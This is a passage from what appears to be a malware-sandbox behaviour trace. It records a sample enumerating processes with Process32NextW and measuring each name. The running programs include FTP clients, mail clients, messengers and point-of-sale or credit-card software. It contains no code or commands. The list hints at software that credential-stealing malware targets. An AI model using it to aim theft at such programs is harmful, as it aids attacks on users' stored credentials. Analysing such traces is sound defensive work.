pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.047] lstrlenW (lpString="svchost.exe") returned 11 [0037.047] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.048] lstrlenW (lpString="svchost.exe") returned 11 [0037.048] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.048] lstrlenW (lpString="svchost.exe") returned 11 [0037.049] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.049] lstrlenW (lpString="svchost.exe") returned 11 [0037.049] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.050] lstrlenW (lpString="svchost.exe") returned 11 [0037.050] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0037.050] lstrlenW (lpString="audiodg.exe") returned 11 [0037.050] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.051] lstrlenW (lpString="svchost.exe") returned 11 [0037.051] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.051] lstrlenW (lpString="svchost.exe") returned 11 [0037.051] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0037.052] lstrlenW (lpString="dwm.exe") returned 7 [0037.052] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0037.052] lstrlenW (lpString="explorer.exe") returned 12 [0037.053] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0037.053] lstrlenW (lpString="spoolsv.exe") returned 11 [0037.053] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.054] lstrlenW (lpString="taskhost.exe") returned 12 [0037.054] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.054] lstrlenW (lpString="svchost.exe") returned 11 [0037.054] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0037.055] lstrlenW (lpString="taskeng.exe") returned 11 [0037.055] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.055] lstrlenW (lpString="taskhost.exe") returned 12 [0037.055] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.056] lstrlenW (lpString="svchost.exe") returned 11 [0037.056] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0037.056] lstrlenW (lpString="sppsvc.exe") returned 10 [0037.056] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.057] lstrlenW (lpString="svchost.exe") returned 11 [0037.057] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0037.057] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0037.057] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0037.058] lstrlenW (lpString="smsvhskate.exe") returned 14 [0037.058] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0037.058] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0037.058] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0037.059] lstrlenW (lpString="patient latin.exe") returned 17 [0037.059] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0037.059] lstrlenW (lpString="barbados.exe") returned 12 [0037.059] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0037.060] lstrlenW (lpString="otthose.exe") returned 11 [0037.060] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0037.060] lstrlenW (lpString="suburban.exe") returned 12 [0037.060] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0037.061] lstrlenW (lpString="examination.exe") returned 15 [0037.061] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0037.061] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0037.061] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0037.062] lstrlenW (lpString="madrid.exe") returned 10 [0037.062] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0037.062] lstrlenW (lpString="measurerush.exe") returned 15 [0037.062] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0037.063] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0037.063] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0037.063] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0037.063] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0037.064] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0037.064] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0037.064] lstrlenW (lpString="jessefun.exe") returned 12 [0037.064] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0037.065] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0037.065] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0037.065] lstrlenW (lpString="sellers.exe") returned 11 [0037.065] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0037.066] lstrlenW (lpString="gras hair.exe") returned 13 [0037.066] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0037.066] lstrlenW (lpString="acquisitions.exe") returned 16 [0037.066] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0037.067] lstrlenW (lpString="starscondos.exe") returned 15 [0037.067] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0037.067] lstrlenW (lpString="3dftp.exe") returned 9 [0037.067] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0037.110] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0037.110] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0037.111] lstrlenW (lpString="alftp.exe") returned 9 [0037.111] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0037.111] lstrlenW (lpString="barca.exe") returned 9 [0037.111] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0037.112] lstrlenW (lpString="bitkinex.exe") returned 12 [0037.112] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0037.113] lstrlenW (lpString="coreftp.exe") returned 11 [0037.113] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0037.113] lstrlenW (lpString="far.exe") returned 7 [0037.113] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0037.114] lstrlenW (lpString="filezilla.exe") returned 13 [0037.114] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0037.114] lstrlenW (lpString="flashfxp.exe") returned 12 [0037.114] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0037.115] lstrlenW (lpString="fling.exe") returned 9 [0037.115] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0037.116] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0037.116] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0037.117] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0037.117] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0037.118] lstrlenW (lpString="icq.exe") returned 7 [0037.118] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0037.119] lstrlenW (lpString="leechftp.exe") returned 12 [0037.119] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0037.120] lstrlenW (lpString="ncftp.exe") returned 9 [0037.120] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0037.121] lstrlenW (lpString="notepad.exe") returned 11 [0037.121] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0037.122] lstrlenW (lpString="operamail.exe") returned 13 [0037.122] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0037.123] lstrlenW (lpString="pidgin.exe") returned 10 [0037.123] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0037.124] lstrlenW (lpString="scriptftp.exe") returned 13 [0037.124] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0037.124] lstrlenW (lpString="skype.exe") returned 9 [0037.124] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0037.125] lstrlenW (lpString="smartftp.exe") returned 12 [0037.125] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0037.126] lstrlenW (lpString="thunderbird.exe") returned 15 [0037.126] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0037.127] lstrlenW (lpString="totalcmd.exe") returned 12 [0037.127] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0037.127] lstrlenW (lpString="trillian.exe") returned 12 [0037.128] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0037.128] lstrlenW (lpString="webdrive.exe") returned 12 [0037.128] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0037.129] lstrlenW (lpString="whatsapp.exe") returned 12 [0037.129] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0037.130] lstrlenW (lpString="winscp.exe") returned 10 [0037.130] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0037.131] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0037.131] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0037.131] lstrlenW (lpString="active-charge.exe") returned 17 [0037.131] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0037.132] lstrlenW (lpString="accupos.exe") returned 11 [0037.132] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0037.133] lstrlenW (lpString="afr38.exe") returned 9 [0037.133] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0037.134] lstrlenW (lpString="aldelo.exe") returned 10 [0037.134] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0037.134] lstrlenW (lpString="ccv_server.exe") returned 14 [0037.134] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0037.135] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0037.135] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, 